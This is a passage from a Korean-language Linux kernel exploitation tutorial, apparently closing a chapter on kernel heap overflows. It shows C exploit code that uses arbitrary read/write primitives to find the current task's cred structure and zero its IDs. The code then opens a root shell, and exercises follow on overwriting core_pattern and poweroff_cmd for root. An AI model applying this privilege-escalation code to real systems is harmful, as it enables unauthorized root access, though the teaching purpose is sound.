for (addr = g_buf - 0x1000000; ; addr += 0x8) {
if ((addr & 0xfffff) == 0)
printf("searching... 0x%016lx\\n", addr);

if (AAR32(addr) == 0x6f6b656e
&& AAR32(addr+4) == 0x7572616d) {
printf("[+] Found 'comm' at 0x%016lx\\n", addr);
break;
}
}

comm의 장소를 알았다면, 직전의 cred를 덮어씁시다.

1
2
3
4
5
6
7
8
9
10
11
12
unsigned long addr_cred = 0;
addr_cred |= AAR32(addr - 8);
addr_cred |= (unsigned long)AAR32(addr - 4) << 32;
printf("[+] current->cred = 0x%016lx\\n", addr_cred);

// 실효 ID 덮어쓰기
for (int i = 1; i < 9; i++) {
AAW32(addr_cred + i*4, 0); // id=0(root)
}

puts("[+] pwned!");
system("/bin/sh");

다음과 같이 권한 상승 되어 있다면 성공입니다.

cred 구조체 덮어쓰기에 의한 권한 상승

이 장에서는 커널 공간에서의 Heap Overflow 취약점 공격 방법을 배웠습니다. 실은 여기까지의 지식이 있다면 대부분의 취약점을 공격할 수 있습니다. 다음 장에서는 커널 공간에서의 Use-after-Free를 다루지만, 대개 취약점은 최종적으로 kROP나 AAR/AAW에 착지하므로 하는 일은 거의 같습니다.


이 장에서는 modprobe_path를 덮어써서 root 권한으로 커맨드를 실행했습니다.
(1) core_pattern을 덮어써서 마찬가지로 root 권한을 얻어주세요.
(2) orderly_powerofforderly_reboot 등의 함수에서는 각각 poweroff_cmdreboot_cmd의 커맨드가 실행됩니다. 이 커맨드를 덮어쓴 뒤, RIP 제어로 이 함수를 호출하여 root 권한의 셸을 얻어주세요.

  1. 객체의 크기는 커널 버전에 따라 바뀔 가능성이 있으므로 주의합시다. ↩︎

  2. 이것은 Linux가 제공하는 양방향 리스트 포인터입니다. mutex 등을 이용하면 만들어지므로 커널 중의 많은 객체에 존재하여, 힙 주소 릭에 도움이 됩니다. ↩︎

  3. 그 변수를 사용하는 함수를 디스어셈블하여 주소를 특정하는 방법도 있습니다. ↩︎